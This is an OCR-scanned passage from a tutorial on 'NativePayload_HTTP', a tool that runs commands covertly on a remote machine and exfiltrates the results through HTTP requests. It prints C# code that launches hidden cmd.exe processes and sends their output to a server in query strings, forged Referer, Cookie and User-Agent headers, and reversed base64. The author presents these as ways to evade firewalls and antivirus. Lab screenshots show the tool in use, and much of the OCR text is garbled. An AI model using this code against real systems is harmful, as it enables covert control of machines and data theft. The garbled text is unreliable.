# sending signal to server for "cmd-output Exfiltration finish"
nohup curl "http://192.168.56.1/default aspx?logoff=pull" > out. txt 2>&1 &

sh v TabWidth: 8 = Ln 32, Col81 = INS.
Picture 11: Script3.sh and command output.

C# Codes vs Shell Codes:
now | want to talk about C# codes and some important things about C# .

in C# code | used this Method “DumpHtml()” instead “curl” in shell script.

public static string DumpHtml(string url)

HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url);
request.AutomaticDecompression = DecompressionMethods.GZip | DecompressionMethods.Deflate;

string _output ="
using (HttpWebResponse response = (HttpWebResponse)request.GetResponse())
using (Stream stream = response.GetResponseStream())
using (StreamReader reader = new StreamReader(stream))
{
_output = reader.ReadToEnd();
return _output.Substring(0, _output.Length - 1);

}

}
public static void DumpHtml(string url , bool FakeHeader , string FakeHeaderMode, string value)
{
if (FakeHeader)
if (FakeHeaderMode.ToUpper() == "REFERER")
{
try

WebClient request = new WebClient();

request.Headers.Add( HttpRequestHeader.Referer, "https://www.google.com/search?ei=bsZAXPSgD&" + “uids=" + value +
"&Qq=d37X3d3PS&0q=a0d3d377b&gs_I=psy-ab.3......... 0....1..gws-wiz.IW6_Q");

/lrequest.Headers.Add(HttpRequestHeader.Connection, "keep-alive");

request.Headers.Add(HttpRequestHeader.Accept, "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");

request.Headers.Add(HttpRequestHeader.AcceptLanguage, "en-US;q=0.8,en;q=0.6");

request.Headers.Add(HttpRequestHeader.UserAgent, "Mozilla/5.0 (X11; Linux x86_64; rv:50.0) Gecko/20100101 Firefox/50.0");

request.DownloadData(url);

request.Dispose();
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catch (Exception e)

Console.WriteLine(e.Message);

}

}
if (FakeHeaderMode.ToUpper() == "COOKIES")
{
try
{
WebClient request = new WebClient();
request.Headers.Add(HttpRequestHeader.Referer, @"https://www.bing.com");
/lrequest.Headers.Add(HttpRequestHeader.Connection, "keep-alive");
request.Headers.Add(HttpRequestHeader.Accept, "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;g=0.8");
request.Headers.Add(HttpRequestHeader.AcceptLanguage, "en-US;q=0.8,en;q=0.6");
request.Headers.Add(HttpRequestHeader.UserAgent, "Mozilla/5.0 (X11; Linux x86_64; rv:50.0) Gecko/20100101 Firefox/50.0");
request.Headers.Add(HttpRequestHeader.Cookie, "viewtype=Default; UniquelDs=" + "uids=" + value + "&0011");
request.DownloadData(url);
request.Dispose();

catch (Exception e)

Console.WriteLine(e.Message);

also when you want to run CMD or Command , you need something like this Method “_CMDshell()* .

public static string _ CMDshell(string _Command1, string _AllIPs)
{

string xtemp;

Process prcs = new Process();
pres.Startinfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;
prcs.Startinfo.CreateNoWindow = true;
pres.Startinfo.FileName = "cmd.exe";
prcs.Startinfo.Arguments = */C " + _Commandl;
pres.Startinfo.RedirectStandardOutput = true;
prcs.Startinfo.RedirectStandardError = true;
prcs.Startinfo.UseShellExecute = false;

prcs.Start();

string CMDoutput = prcs.StandardOutput.ReadToEnd();
string error = prcs.StandardError.ReadToEnd();

xtemp ="[" + _AlllPs + "] =>" + CMDoutput;

return xtemp;

Finally with these simple codes you can execute command also with this code your command output will send to server.
temp = _CMDshell(Command1, AllIPs[1].ToString());

if (FakeHeader_onoff_status == "xheader-off")
output = DumpHtmI(“http://" + args[1] + "/default.aspx?uids=" + temp_rev);

Thread.Sleep(1000);
output = DumpHtmlI(“http://"* + args[1] + "/default.aspx?logoff=null");

So by these simple “Script.sh” codes and Pictures you can see: what exactly happened behind my Code
"NativePayload_HTTP.sh” in server-side and especially (client-side). As | mentioned in this chapter my focus was on HTTP
Traffic and HTTP Packets and my focus was not on Web Programming but Web programming is next step to these techniques
also is very important so you should rethink about that also rethink about (legal/illegal) Web Application traffic/behavior for
bypassing “hardware firewalls” or “host-based firewalls” and AVS.

NativePayload_HTTP tool and internal-commands step by step:
in this time we should talk about this “NativePayload_HTTP “ code with more detail step by step in client-side and server-side.
this is first step to use , you can use “help” command with this syntax you can have help for this tool:

syntax: ./NativePayload_HTTP.sh help
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Applications ~ Places ~ Terminal Tue14:20 @
root@oops: ~/Desktop/NativePayload_HTTP/After Pivot
File Edit View Search Terminal Help

@interact
@clients

@version

Picture 12: Help for internal commands

in server-side you should use this syntax : .INativePayload_HTTP.sh -exfilwebserver 80

by default my code will work with apache2 in port.[80] only so you can use this syntax without “80”
.INativePayload_HTTP.sh -exfilwebserver

Applications + Places ~ erminal ~ Tue14:28 &
root@oops: ~/Desktop/NativePayload_HTTP/After Pivot

File Edit View Search Terminal Help
root@oops:~/Desktop/NativePayload_HTTP/After Pivot# ./N

.apache2:Stoped
.apache2.[/etc/apache2/19-02-2019.14-28-05.backup.apache2.conf]:Created
.apache2. [ /etc/apache2/apache2.conf] :Modified

: .apache2:Restarted

:Server.Exfiltration.Mode:Started

:Server.Defaultpage. [/var/www/html/default.aspx]:Created

:Server.Commandpage. [/var/www/html/getcmd. aspx] :Created

:Server.Monitoring.log[/var/log/apache2/access.log]:Started

Picture 13: NativePayload_HTTP.sh -exfilwebserver 80
Client Detection:
as you can see in next “Picture 14", client with IPv4 192.168.56.102 Detected by server and in client-side we have this syntax:

Client-Side syntax:
Windows:
NativePayload_HTTP.exe -dumpcmd [Server-IPv4] [Server-Port always 80]
NativePayload HTTP.exe -dumpcmd 192.168.56.1 80
Linux:
NativePayload_HTTP.sh -dumpcmd [Server-IPv4] [Server-Port always 80] [Internal-delay sec]
NativePayload HTTP.sh -dumpcmd 192.168.56.1 80 0.3
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Applications ~ Places ~ VirtualBox ~

p/NativeP: 2012 [Running] - Oracle VM VirtualBox
File Edit View Search Terminal Help File Machine View Input Devices Help

Command Prompt - NativePayload_HTTP.exe -dumpcmd

icrosoft Windows [Uersion 6.2.92001]
@poweroff <c> 2812 Microsoft Corporation. All rights reserved.

isUserssdamon>cd G:sNativePayload _HITP~Debug

:sNativePayload_HTTP\Debug>*MativePayload _HTTP.exe —dumpcnd 192.168.56.1 8@
root@oops :~/Desktop/NativePayload _HTTP/After Pivot# ./Na C i
root@oops :~/Desktop/NativePayload HTTP/After Pivot# ./ ayle -exfiluchser Mo e onmands Exfiltration wia HTTP traffic by Simple Web Requests . (Client Side onlyd
non Mohammadbagher 2 DATACommands Exfiltration Started (Client Side>
HTTP Traffic onnecting.Server:[192.168.56.1:88]

[?1:CHD:Checking.8erver.[192.168.56.11: :5endbyHttp:8ignal.Delay.Random: [238%96 1:5tarted [2-19

ice.apache2:Stoped
ice.apache2. [/etc/apache2/19-02-2019.14-28-05.backup.apache2.conf]:Created
e.apacheZ. [/etc/apache2/apache2.conf] :Modified
=, apache2:Restarted
erver .Exfiltration.Mode:Started
erver.Defaultpage. [/var/www/html/default.aspx]:Created
erver.Commandpage. [ /var/www/html/getemd . aspx]:Created
erver.Monitoring.logl/var/log/apache2/access.logl:Started

[!]:Client.IPv4.[192.168.56.102] : Detected

{

Picture 14: NativePayload HTTP.sh and client-side

as you can see in this “Picture 14", Client Detected by sever after received first signal from Client .

Applications ~ Places ~ Terminal ~ Tue14:40 @

root@oops: ~/Desktop/NativePayload_HTTP/After Pivot
File Edit View Search Terminal Help

ePayload_HTTP.exe -dumpcmd

@poweroff

68.56.1 8@
:~/Desktop/NativePayload_HTTP/After Pivot# ./ e ad_HTTP.sh
:~/Desktop/NativePayload HTTP/After Pivot# ./N: Payload_HTTP.sh -exfi s . (Client Side only>
non Mohammadbagher 2018-2019
E HTTP Traffic
ez el andon: [23896 1:Started [2.19
. andom: [184641:Started [2/19
e, apache2:Stoped andom: [478731:Started [2./19
e, apache2. [/etc/apache2/19-02-2019.14-28-05.backup.apache2.conf] :Created B .
e.apache?. [/etc/apache2/apache2.conf] :Modified sStarted [2,19/2019 11:48:3
—‘ap§ChEE:REStaFTEﬂ 1::Ueh.Request:[/default.ag
erver.Exfiltration.Mode:Started 1::Web_Request:[-/default .ad
erver.Defaultpage. [/var/www/html/default.aspx]:Created
erver.Commandpage. [ /var/www/html/getemd. aspx]:Created
>]:Server.Monitering.log[/var/log/apache2/access.log] :Started

1:Client.IPv4.[192.168.56.102] :Detected

@ 192.168.56.102
@] :Target Host: 192.168.56.102
(192
[1 58.56.102] :#echo Hi ;D
1:[19-82-2019.14-40-19] :Exfiltration listening Mode Started by apache2 Service

Picture 15: NativePayload_HTTP.sh and client-side

now with command “@interact w.x.y.z” or “@ w.x.y.z" you can interact to client like “Picture 15, finally you can set a command
for client side as you can see in “Picture 15” | used this command “echo Hi ;D".

Note : w.x.y.z = Client IPv4 Address
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Applications ~ Places ~

root@oops: ~/Desktop/NativePayload_HTTP/After Pivot
File Edit V Search Terminal Help

Command Prompt - NativePayload_HTTP.exe -dumpcmd 192.168.56.1 80

@poweroff 6.2.9200
tion. All rights reserved.

ePayload_HTTP~Debug

/Desktop/NativePayload HTTP/After Pivot# ./Na ad_HTTP.sh g*MativePayload HITP.exe —dumpcmd 192.168.56.1 88
:~/Desktop/NativePayload HTTP/After Pivot# ./NativePayload HTTP.sh -ex hlished hy Damon Mohammadhagher . Jan 2819
— via HTTP traffic by Simple Web Requests , (Client Side only>
amon Mohammadbagher 2018-2019

HTTP Traffic Started (Client Sidel

.56.1:8081

92.168.56.11 endbyHttp: Slgnal Delay.Random: [238%6]1:-Started [2-19-2019 11:39: Bl
.apache2:5toped N ‘Gh. -

.apache2. [/etc/apache2/19-02-2019.14-28-05.backup.apache2.confl:Created - .56. H endhyHttp Signal.Delay.Random: [478731:5tarted [2-19-2019 11:39:35

- he2. [/etc/ he2/ he2.conf]:Modified echo Hi ;D1:Detected
353&221&;*[;}?5? prdnlnnstitht i ng.Cnd.output: :SendbyHttp: :Delay: [33571:Started [2/19/2019 11:48:27 AM]

Server.Exfiltration.Mode:Started 313E2239313B51: :SendbyHttp: :Delay: [48411: :Ueb.Request: [/default .aspx?uids=E26353
Server.Defaultpage. [ /var/www/html/default. a;px :Created 3D3\82D5238313 SendbyHtt Delay:[47371::Weh_Request:[/default . aspx?uids=B30296
Server.Commandpage. [ /var/www/html/getemd. a;px :Created ndbyHttp: :Delay: [8823] eb.Request:[/default.aspx?uids=ABDA441

/i /' '} /. St
s o n L Lon oAyl jloo fanantes cce sl Dol Snres 92.168.56.11::Sendbylttp:Signal.Delay.Randon: [11229 1:Started [2/19.2019 11:48:47
92.168.56.11 endbyHttp:Signal.Delay.Random: [43489 1:Started [2-19-2019 11:40:58
92.168.56.11 endbyHttp:Signal.Delay.Random: [22827]1:Started [2-19-2019 11:41:41
92.168.56.11: :8endbyHttp:8ignal.Delay.Random: [198811:5tarted [2-19-2019 11:42:84

]:Client.IPv4.[192.168.56.102] :Detected

@ 192.168.56.102
@] :Target Host: 192.168.56.102

==

[ 8. echo Hi ;D
1:[19-02-2019.14-40-19] :Exfiltration listening Mode Started by apache2 Service!

19-02-2019.14-40-49 ---N----> Cmd:[echo Hi ;DJ::[192.168.56.102] == Hi ;D
[192.168.56.102] : 4]

Picture 16: NativePayload HTTP.sh and client-side

S you can see in “Picture 16" after 25 sec we have Client-side Command output in Server-side.
in the next “Picture 17” in apache log file we have Payloads with detail information:

Applications ~ Places ~ Terminal Tue 14:45 ®

File Edit View rch  Terminal Help File Machine View Input
@poweroff Command Prompt

icrosoft Windows [Uersion 6.2.92001
{c> 2812 Microsoft Corporation. All rights reserved.

:~/Desktop/NativePayload_HTTP/After Pivot# /I yload rrre [J°7 Weeredananted C:\NativePayload HITP Debug
:~/Desktop/NativePayload_HTTP/After Pivot# . /N ayload HTTF :sNativePayload HITP~Dehug>MativePayload _HITP.exe —dumpcmd 192.168.56.1 8@

30918-201¢ ativePayload_HTTP vi.1 . Published by Damon Mohammadbagher . Jan 2019

oad_HTTP.sh v1.4 : amon Mohammadbagher DATACommands Exfiltration uia HTTP traffic by Simple Weh Requests , (Client Side only)

HTTP Traffic
DATA-Commands Exfiltration Started (Client Sided
onnecting_Server:[192_168_56_1:801

.apache2:Stoped ::%endb . R A - _ng-
R HS yHttp:-Signal.Delay.Random:[238961-Started [2-19-2019 11:39:81
.apache2. [/etc/apache2/19-02-2019.14-28-05. backup.apache2. con i king.§ 68.5 endbyHttp:Eignal.Delay.Randon: [1A4641:Started [2-19-2019 11:39:25
.apache2. [/etc/apache2/apache2.conf]:Modified i 168.56.1 endbyHttp:8ignal.Delay.Random: [478731:Started [2-19-2019 11:39:35
.apache2:Restarted etected . A A .
Server.Exfiltration.Mode:Started t:SendbyHttp: :Delay:[3357]1:8tarted [2-19-/2019 11:48:27 AM]
Server.Defaultpage. [ /var/www/html/default. a>px' :Created Ueh.Request: [/default.aspx?uid
Server.Commandpage. [ /var/ww/html/getcemd. aspx] :Created yHttp: :Delay
Server.Monitoring.logl/var/log/apache2/access.log]:Started [>1:CMD:Bytes: [RlDB44]::SendhyHttp--Delay [88231::Ueh. Request [/default aspx?uids=ABDB441

[*1:CHD:Checking.8erver [192 168.56.11 endbyHttp:Signal.Delay.Randon: [112291:8tarted [2,1%-201%
MD:Checking.Server.[192.168.56.11
[' MD:Checking.Server.[192.168.56.11
1:Client.IPv4.[192.168.56.102] :Detected S

@ 192.168.56.102
@] :Target Host: 192.168.56.102
[192 2]
[ echo Hi ; 10
1:[19-02-2019.14-40-19] :Exfiltration listening Mode Started by apacheZ 163.56.102 [19/Feb/2619:14
.102 [19/Feb/2019:
102

19-02-2019.14-40-49 ---N----> Omd:[echo Hi ;DI::[192.168.56.102] => Hi

Picture 17: Nat|vePaonad HTTP.sh and client-side.

also with this command you can see, how these Payloads Detected by my code in server-side very simple.
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Applications ~ Places ~ Terminal

File Edit View Search Terminal Help

@poweroff

root@oops :~/Desktop/NativePayload HTTP/After Pivot# ./N: Payload_HTTP.sh

root@oops :~/Desktop/NativePayload HTTP/After Pivot# ./N Payload HTTP.sh -exfilwebserver 8@

I FTTF sh , Puk d Damon Mchammadbagher 2018-201
ading b/
oad HTTP. ;h elp

.apache2:Stoped File
.apache2. [/etc/apache2/19-02-2019.14-28-05. backup.ap: F
.apache2. [/etc/apache2/apache2.conf] :Modified S
>]: .apache2:Restarted
>] :Server.Exfiltration.Mode:Started
:Server.Defaultpage. [/var/www/html/default.aspx] :Created
:Server.Commandpage. [/var/www/html/getemd . aspx] :Created
:Server .Monitoring.logl/var/log/apache2/access.log] :Started

1:Client.IPv4.[192.168.56.102] :Detected

@ 192.168.56.102
@] :Target Host: 192.168.56.102

[1 1:#echo Hi ;D
1:[19-02-2019.14-40-19] :Exfiltration listening Mode Started by

root@oops : ~#

19-02-2019.14-40-49 ---N----> Cmd:[echo Hi ;D]::[192.168.56.102] => Hi ;D

i
Picture 18: NativePayload_HTTP.sh and client-side.

Client-side Commands with Base64 Encoding:

File Machine View Input Devices Help

Command Promj

icrosoft Windows [Version 6.2.920881
{c>» 2012 Microsoft Corporation. All rights reserved.

NUserssdamon>ed G:sMativePayload HTTP\Debug
:sMativePayload HTTP~Debug>MativePayload _HTTP.exe —dumpcmd 1%2.168.56.1 88

ATA Command= Fxfiltration uia HTTP traffic hu Simule Ueh Beogueot= {Client Side
root@oops: ~

Help

if you want to make one layer of security to your payloads (without use HTTPS traffic), you can use Encryption or something like
that in this case Base64 for payloads to avoid Payload Detection by Firewalls or Monitoring Tools on HTTP Network Traffic.

Applications ~ Places ~ Terminal

root@oops: ~/Desktop/NativePayload_HTTP/After Pivot 6 O

ch Terminal Help
ePayload HTTP.sh help

.apache?:Stoped

.apache2. [/etc/apache2/19-02-2019.14-28-05. backup.apache2.conf]:Created
:Service.apache2. [/etc/apache2/apache2.conf] :Modified
:Service.apache2:Restarted
:Server.Exfiltration.Mode:Started
:Server.Defaultpage. [/var/www/html/default.aspx]:Created
:Server.Commandpage. [/var/www/himl/getcmd. aspx]:Created
:Server.Monitoring.log[/var/log/apache2/access.logl:Started

1:Client.IPv4.[192.168.56.102] :Detected

@ 192.168.56.102
@] :Target Host: 192.168.56.102

2]
[1 ]:#echo Hi ;D
1:[19-02-2019.14-40-19] :Exfiltration ll)Ttnlng Mode Started by apachez Service

19-02-2019.14-40-49 ---N----> Cmd:[echo Hi ;D]::[192.168.56.102] =
[1 @hasefdon
[@] :HTTP: : DumpedbyHttp: Payluatl Request ba;pﬁ‘ on
[19
echo test 2 ;D

[>]:[19-02-2019.14-57-05] :Exfiltration listening Mode Started by apache2? Service

Machine View Input
Command Prompt - NativePayload_HTTP.exe -dumpc

S:sNativePayload HITP~Debug>MativePayload HTTP.exe —dumpcmd 192.168.56.1 8@

juePayload _HTTF vi.i ., Published by Damon Mohammadhbagher . Jan 2819
DATA-Commands Exfiltration wia HITP traffic by Simple Web Reguests . <Client Side only>

JATA/Commands Exfiltration Started <(GClient Side>
sonnecting.Server: [192.168.56.1:881

1:CMD:Checking.Server.[192.168_.56.11: :SendbyHttp:8ignal.Delay.Random: [49646 1:Started [2
1:CHD:Checking.Command . [echo test 2 ;Dl:Detected

1:CHD: [echo test 2 ;D1.8ending.Cmd.output::SendbyHttp: :Delay: [7768]1:8tarted [2,19-2019
1

1

:CHD:Bytes:- [5776A6E4874396D45354A775 1 :SendbyHttp: :Delay: [639@]1: :Webh.Request .Baseb4: [/
:CHD:Bytes:-[93143585971445D4579545E4]1: :SendbyHttp: :Delay: [?822]1::Web.Request .Baseb4: [/

Picture 19: NativePayload HTTP.sh and client-side with base64 encoding

in this case you can use this commands “@64on” or “@base64on” to enable BASE64 encoding for payloads also with these

command you can disable them “@64off” or “@base640ff".

Note: in my code payload bytes combined with Reverse technique always,it means you have “reverse base64” encoding always.

17125
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Applications ~ Places * [ Terminal ~ Tue15:02 @
root@oops: ~/Desktop/NativePayload_HTTP/After Pivot @ & x 2012 [Running] - Oracle VM VirtualBox

File Edit View 5Search Terminal Help ut Devices Help

toring.lo

Command Prompt

debug>HativePayload _HITP.exe —dumpcmd 1%2.168.5%6.1 88
[!1]1:Client.IPv4.[
cion via HTTP traffic by Simple Web Requests . (Client Side only>

cion Started (Client Side2
1 168.56.1:881

~.[192.168.56.11::SendbyHttp:Signal.Delay.Random: [496461:Started [2-19-2019 11:56:46 AM]
rted by ervice! 1d.[echo test 2 ;Dl:Detected

N1.Sending.Cmd.output::8endbyHttp: :Delay: [77681:Started [2-19.-2019 11:57:44 AM]

1874396D45354A775 1 zSendbyHttp lay:=[63%981::Ueb.Request .Basebd: [+default.aspx?

971445045 79545E4 1 :SendhyHttp lay:z[78221 4

1A3E485A5032496A5 1= :Sendhylttp lay=[28761::

1E415@3F41: :SendbyHttp: :Delay:

~.[192.168.56.11::SendbyHttp:Signal.Delay.Random: [52658]1:Started [2/19/2819% 11:58:87

Debug>

echo test 2 ;D

l:Exfiltration listening rted by ay

ps
root@oops

19-02-2019.14-58-10 ---B64- C test 2 ;D]::[192.168.56.102] == test 2 ;

[19 .56.1 [B64

: {1
Picture 20: NativePayload HTTP.sh and client-side with base64 encoding

as you can see in this “Picture 20" that payload detected by base64 encoding in Apache log file simply.

HTTP Fake-Headers and Commands:
as | mentioned in this chapter my focus is on HTTP Packets so let me talk about HTTP Headers by commands in my code.
Before begin we need to Packet Monitoring by Wireshark or tcpdump so first step is this command .

tcpdump -i vboxnet0 -s 0 -w MonitorPackets.trace

root@oops: [usr/local/bro/bin e e O

File Edit View Search Terminal Help

Picture 21: NativePayload HTTP.sh and Fake-Headers

now with this command you can set Fake-Header:On , “@fhn” or “@fheaderon” as you can see in “Picture 22" also with
command “@info” you can see server configurations which will apply to your clients.
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Applications ~ Places ~ Terminal
root@oops: ~/Desktop/NativePayload_HTTP/After Pivot

File Edit View Search Terminal Help

echo test 2 ;D

[>]:[19-02-2019.14-57-05] :Exfiltration listening Mode Started by apache2 Service

-02-2019.14-58-10 ---B64----> Cmd:[echo test 2 ;D]::[192.168.56.102] = test 2 ;D

@fhn

@] :Server.Configuration.Info:Show

:HTTP: :DumpedbyHttp: : Curl .Web.Request.fakeheader:is On (apply to all clients)
:HTTP: :DumpedbyHttp: :Payload.Request.base64:is On (apply to all clients)
1:Client.[192.168.56.102].0elay.history:Show

@cli
@] :Clients. list:Show

19-02-2019.14-39-04 IPv4:192.168.56.102 [Win:6.2.9200.0]

(1 .B6
[1 [F.B6

Picture 22: NativePayload_HTTP.sh and Fake-Headers

ou can see this comm

Applications ~ Places ~ Terminal ~
root@oops: ~/Desktop/NativePayload_HTTP/After Pivot
File Edit search  Terminal Help

19-02-2019.14-58-10 ---B64----> Cmd:[echo test 2 ;D]::[192.168.56.182] == test 2 ;D

[1
@l :Server.Configuration.Info:Show

tHTTP: :DumpedbyHttp: :Curl.Web.Request. fakeheader:is oOn (apply to all clients)

:HTTP: :DumpedbyHttp: :Payload.Request.base64:is On (apply te all clients)
1:Client.[192.168.56.102] .Delay.history:Show

[192.168.56.102] [F.B64] : #@cli
@l :Clients.list:Show
9-02-2019.14-39-04 IPv4:192.168.56.102 [Win:6.2.9200.0]
102] [F.B64]

02] [F.B6. echo test 3 ;)

>]1:[19-02-2019.15-40-30] :Exfiltration listening Mode Started by apachez Service!

19-02-2019.15-41-25 ---B64-F--> Cmd: [echo test 3 ;)]::[192.168.56.182] == test 3 ;)

[192.168.56.102] [F.B64] :2[]

Picture 23: NativePayload_HTTP.sh and Fake-Headers

Machine View Input Devic
Command Prompt

“HNativePayload _HTTP~Debug>MativePayload HTTP.exe —dumpcmd 192.168.56.1 88

Devices Help
Command Prompt - NativePayload_HTTP.exe -dumpcmd 192.168.56.1 80

bug>*NativePayload HTITP.exe —dumpcnd 192.168.56.1 8@

on via HITP traffic by Simple Web Regquests . (Client Side onlyd>

on Started {Client Side)
68.56.1:881

[192.168.56.11::SendbyHttp:-Signal.Delay.Random: [19198]1:5tarted [2-19-201% 12:48:32 PHM]
-[echo test 3 ;>1:Detected
.Sending.Cmd.output: :SendbyHttp::Delay:[33711:Started [2/19-/2019 12:46:56 PM]

74396D4535407751: :SendbyHttp: :Delay: [?7251: :Heh.Request .Baseb4: [sdefault.aspxTuids =577
71445D4579545E41: :SendbyHttp: :Delay: [4367 1z :Ueh . Request .Baseb4: [Adefault .aspx?uids=231
3E485A5A32496A5 1: :SendbyHttp: : Dela 4656 1z :Web.Request .Baseb4: [/default.aspx?uids=76D
4B6?7F4]1::8endhyHttp::Delay:[35481: :Ueh_.Request.Baseb4: [/default.aspx?uids=D3D37634E4B

[192.168.56.11::8endbyHttp:8ignal.Delay.Random: [1128% 1:8tarted [2-19-2081% 12:41:21 PH]1

as you can see in this “Picture 24" we have New “User-agent” in HTTP Header which means this Packet Sent by “Firefox 5
from Linux system ” but this is “Fake User-agent” (we knew this was windows system also packet sent by C# Codes) so it is

simple way to make Fake-Header in HTTP Traffic.
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Applications ~ Places * [ Terminal ~

root@oops: [usr/local/bro/bin e e 0

root@oop:

on via HITP traffic by Simple Web Regquests . {(Client Side only>

on Started <(Client Side>
68.56.1:881

[192.168.56.11::8endbyHttp:=8ignal.Delay.Random: [19198]1:8tarted [2-19-201% 12:40:32 PM]
. [echo test 3 ;>1:Detected
n -Sending.Cmd.output: :SendbyHttp: :Delay:[33711:Started [2/19-2019 12:40:56 PM]
P 74396D45354A775 1 H lebh.Regquest .Basebfd: [sdefault.aspxTui
@info Jeh.Request .Basefd: [+default.aspx?u
z:leb.Request.Basebd: [+ default.aspx?uids="76I
eb.Request.Baseb4: [#default.aspxTuids=D3D376341E4B

ader:is On (:

root@oops : ~

19-02-2019.15-41-25 ---B64- md: [echo test 3 ;)1::[192.
(]
Picture 24: NativePayload_HTTP.sh and Fake-Headers

let me show you some more detail about HTTP Packets by next “Picture 25" , with this Command you can Watch Packets for this
last Command which executed in Client-side (for more information: “Picture 21").

root@oops Jusrflocal/bro/bin o0

Picture 25: Monitoring Packets

now by Wireshark you can see what exactly happened in HTTP Header by command “@fhn”.

A ® O X G Q « » 01 > = @ aq
|tcp.stream eq2 -
No. Time Source Destination Protocol Length Info

113 547.608923 192.168.56.102 192.168.56.1 TCP 66 64269 — B8 [SYN, ECN, CWR] Seq=0 Win=8192 Len=8 MSS=1460 |
114 547.608963 192.168.56.1 192.168.56.102 TCP 66 80 — 64269 [SYN, ACK] Seq=0 Ack=1 Win=29200 Len=0 MSS=146!
115 547.609138 192.168.56.182 192.168.56.1 TCP 54 64269 — 88 [ACK] Seq=1 Ack=1 Win=65536 Len=0
116 547.609342 192.168.56.1082 192.168.56.1 328 GET /default.aspx?uids=5776A6E4874396D45354A775 HTTP/1.1
117 547.609393 192.168.56.1 192.168.56.102 TCP 54 80 —~ 64269 [ACK] Seq=1 Ack=275 Win=30336 Len=@
118 547.609768 192.168.56.1 192.168.56.1682 HTTP 803 HTTP/1.1 200 OK
119 547.659041 192.168.56.1082 192.168.56.1 TCP 54 64269 — 80 [ACK] Seq=275 Ack=750 Win=64768 Len=0
120 552.613019 ( o n E275 Win=30336 Len=0
121 552. 613250 Wireshark - Follow TCP Stream (tcp.stream eq 2) - MonitorPackets.trace e G @ Min=64768 Len=0
122 552.996608 - — 751 Win=64768 Len=@
123 552.996641 GET /default.aspx?uids=5776A6E4874396D45354A775 HTTP/1.1 Win=30336 Len=0

Accept-Language: en-US;g=0.8,en;q=0.6

Accept: text/html,application/xhtml+xml, application/xml;q=0.9,*/*;q=0.8
User-Agent: Mozilla/s5.8 (X11; Linux x86_64; rv:50.0) Gecko/20180101 Firefox/50.0
Host: 192.168.56.1

HTTP/1.1 260 0K
Nate: Tue 10 Esh 2A1Q 2A:A1:AA GMT

1 client pkt, 1 server pkt, 1 turn.

Entire conversation (1,023 bytes) = Show and save data as | ASCII * | Stream (2 |7
Find: Find Next
BHelp Filter Out This Stream Print Save as... Back X Close | f

» Frame 116: 328 bytes
Picture 26: Monitoring Packets
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as you can see we have this “User-agent” in HTTP Header which sent from client to server , in the next “Picture 27" | used “@fhf”
to “disable Fake-Header” and this command “echo test 4” will send to client without fake-header.

Applications ~ Places ¥ [ Terminal ~ Tuel15:56 @

root@oops: fusr/local/bro/bin e e 0

on via HITP traffic by Simple Web Requests . {Client Side onlyd>

lon Started (Client Side>
68.56.1:801

[192.168.56.11: SendhyHttp Signal.Delay.Random: [38448 1:8tarted [2-192-201% 12:54:45 PH]
.[echo test4]l:Detecte:

ding.Cmd.output: SendhyHttp :Delay:[68211:Started [2-/19-2819 12:55:31 PM1
74396D45354A775]::

71445D4579545E41

3E485A5832496051: : -

Http::Delay: [5777]1::Ueb.Request.Basebd: [/default aspxtu

[192.168.56.11: :SendbyHttp:=Signal.Delay.Random: [365861:8tarted [2-19-201% 12:55:51 PHM]

19-02-2019.15-41-25 ---B64-F--> Cmd: [echo test 3 ;)1::[192.168.56.102] == test 3 ;) bug>
[
[
[

[@] :HTTP: :Dump
echo test4

>]

19-02-2019.15-55-54 ---B64 Cmd: [ech as :[19 6.102] = test4

Picture 27: NatlvePaonad HTTP.sh and “@fhf” Fake-Headers:off

as you can see in the next “Picture 28” in HTTP Packets we have this Header when our “Fake-Header setting is off”.

7| © G[|XRE QA «» = @ aaalff
|tcp,stream eq2

No. Time Source Destination Protocol Length Info
41 133.616196 192.168.56.102 192.168.56.1 TCP 66 49748 — 80 [SYN, ECN, CWR] Seq=0 Win=8192 Len=0 MS55=1460
42 133.616224 192.168.56.1 192.168.56.1682 TCP 66 80 — 49748 [SYN, ACK] Seq=0 Ack=1 Win=29200 Len=8 MSS=14¢
43 133.616409 192.168.56.102 192.168.56.1 TCP 54 49748 — 80 [ACK] Seg=1 Ack=1 Win=65536 Len=0

. 616764 a a o o a o 166 GET /default.aspx?uids=5776A6E4874396D45354A775 HTTP/1.1

45 133.616811 192.168.56.1 192.168.56.102 TCP 54 80 — 49748 [ACK] Seq=1 Ack=113 Win=29312 Len=0
46 133.617192 ...192 168 561 192 168 56.1A2 HTTR 883 HTTR/1.1 206 0K .
47 133.666065 Wireshark - Follow HTTP Stream (tcp.stream eq 2) - MonitorPackets.trace © (@ © F750 Win=64768 Len=0
48 138.621720 P Ack=113 Win=29312 Len=0
49 138.622050| | geT /default.aspx?uids=5776AGE4874396D45354A775 HTTP/1.1 </ F751 Win=64768 Len=0
50 140.763941 Host: 192.168.56.1 B Ack=751 Win=64768 Len=0

51 140.763965| |accept-Encoding: gzip, deflate E114 Win=29312 Len=0

HTTP/1.1 200 OK

1client pkt, 1 server pkt, 1 turn.

Entire conversation (861 bytes) - Show and save data as | ASCII d
Find: Find Next
BHelp Filter Out This Stream Print Save as... Back ® Close

Picture 28: NativePayload_HTTP.sh and “@fhf’ Fake-Headers:off

now you can compare this “Picture 28" with “Picture 26" and you will see what is different between these HTTP header Packets.
in the next “Picture 29” you can see with Command “@cmdlist” you can see list of Executed Commands in Client-side also with
“@cmdsave” you can save this Report to text file.
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Applications ¥ Places ~ Terminal ~

File Edit View Se

1:[19-02-2019.15-54-44] :Exfiltration listening Mode Started by apache2 Service

19-02-2019.15-55-54 ---B64----> Cmd: [echo test4]::[192.168.56.102] = test4

@cmdlist
:Commands . 11
.Normal: by
:Re.Header.Inj

::[192.168.56.102] => Hi ;D
1 19-02-2019,14-58-10 ---B64----> Cmd: [echo test 2 ;D]::[192.168.56.102] => test 2 ;D
2 19-02-2019.15-41-25 ---B64-F--> Cnd: [echo test 3 ;)1::[192.168.56.102] = test 3 ;)

19-02-2019.15-55-54 ---B64----> Omd: [echo test4]::[192.168.56.182] = test4

@cmdsave
:Commands . 5 -02- : PO-43.txt]

1
Picture 29: NativePayload_HTTP.sh and List of commands by “@cmdlist” and saving Commands by “@cmdsave”

Payload injection via “Referer” field in HTTP Headers and Commands:
As | mentioned in this chapter we can use “Referer” HTTP Header field as Payload to send Data to server. With this simple
command “@xrn” or “@xrefon” you can do this by this tool also with “@xrf” or “@xrefoff’ you can disable this setting too.

